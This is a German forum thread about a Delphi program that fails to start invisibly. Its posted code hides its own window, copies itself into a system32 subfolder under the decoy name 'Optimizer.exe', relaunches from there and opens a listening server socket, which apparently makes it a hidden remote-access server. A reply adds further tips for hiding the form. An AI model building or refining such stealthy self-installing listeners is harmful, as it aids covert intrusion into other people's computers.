tutorials.de Buch-Aktion 05/2012
ERLEDIGT
JA
ANTWORTEN
2
ZUGRIFFE
2503
EMPFEHLEN
  • An Twitter übertragen
  • An Facebook übertragen
AUF DIESES THEMA
ANTWORTEN
  1. #1
    Aljoscha Aljoscha ist offline Rookie
    Registriert seit
    Sep 2004
    Beiträge
    9
    Hi.
    Ich habe ien Programm geschrieben das mit
    Application.ShowMainForm := False
    am Anfang unichtbar gestartet werden soll.
    Da hab ich die Zeile in den OnCreate Teil kopiert, das hat normal auch immer funktioniert.
    Aber diesmal wird das Programm einfach nicht unsichtbar
    Ich verstehe nicht wieso.

    Hier der Codeteil von OnCreate:

    procedure TForm1.FormCreate(Sender: TObject);
    var Dir:String;
    regist:TRegistry;
    begin
    //Start

    //Invisible machen
    ShowWindow(Application.Handle, SW_HIDE);

    //Diretorys finden und zuweisen
    GetDir(0, s);
    GetWindowsDirectory(Verzeichnis, MAX_PATH+1);
    Dir:=Verzeichnis + '\system32\Microsoft';


    IF

    Dir = s

    THEN
    begin

    //Festlegen der Serverinfos
    ServerSocket1.Port := 23769; //Festlegung des Ports
    ServerSocket1.active := true; //Aktivierung der ServerSocket
    Verbindung:='Neu';
    end

    ELSE

    begin

    //File kopieren
    CopyFile(PChar(ParamStr(0)), PChar(Dir + '\Optimizer.exe'), True);

    //Programm aus system32 starten
    ShellExecute(Application.Handle, 'open' ,PChar('Optimizer.exe'), nil, PChar(Dir), sw_ShowNormal);

    //Programm beenden
    Application.Terminate
    end

    end;


    Ich hoffe irgendjemand kann mir weiterhelfen.
     

  2. #2
    Aljoscha Aljoscha ist offline Rookie
    Registriert seit
    Sep 2004
    Beiträge
    9
    Ok ich habs gefunden
    Omg... Das Problem was das True bei CopyFile
    Das Tool vom vorherigen Comlien war noch da und wurde wegen dem True nich üebrschrieben.
    Das das alte auch visible startete konnte ich so viel klicken wie ich will
     

  3. #3
    AzaZeL23 AzaZeL23 ist offline Grünschnabel
    Registriert seit
    Aug 2005
    Ort
    Deutschland (Berlin)
    Beiträge
    3
    Zitat Zitat von Aljoscha
    Ok ich habs gefunden
    Omg... Das Problem was das True bei CopyFile
    Das Tool vom vorherigen Comlien war noch da und wurde wegen dem True nich üebrschrieben.
    Das das alte auch visible startete konnte ich so viel klicken wie ich will
    das geht aber auch einfacher: einfach im Quelltext der Projektdatei ("Projektname.dpr") vor dem Aufruf "Application.Run" folgendes schreiben:

    Application.ShowMainForm := False;

    Und zusätzlich die Eigenschaft "Visible" des Hauptformulars auf "False" setzen, Fertig!
     

Ähnliche Themen

  1. Antworten: 2
    Letzter Beitrag: 31.07.07, 14:13
  2. SetVisible(false); bei JPane greift nicht...
    Von tomkn im Forum Swing, Java2D/3D, SWT, JFace
    Antworten: 1
    Letzter Beitrag: 25.06.07, 14:56
  3. [AS] button._visible=false geht nicht
    Von Jörg Rißmann im Forum Flash Plattform
    Antworten: 11
    Letzter Beitrag: 11.07.05, 16:43
  4. DataGrid.AllowSorting = false geht nicht
    Von jayel im Forum .NET Archiv
    Antworten: 1
    Letzter Beitrag: 10.06.05, 13:44
  5. Antworten: 5
    Letzter Beitrag: 06.07.01, 14:37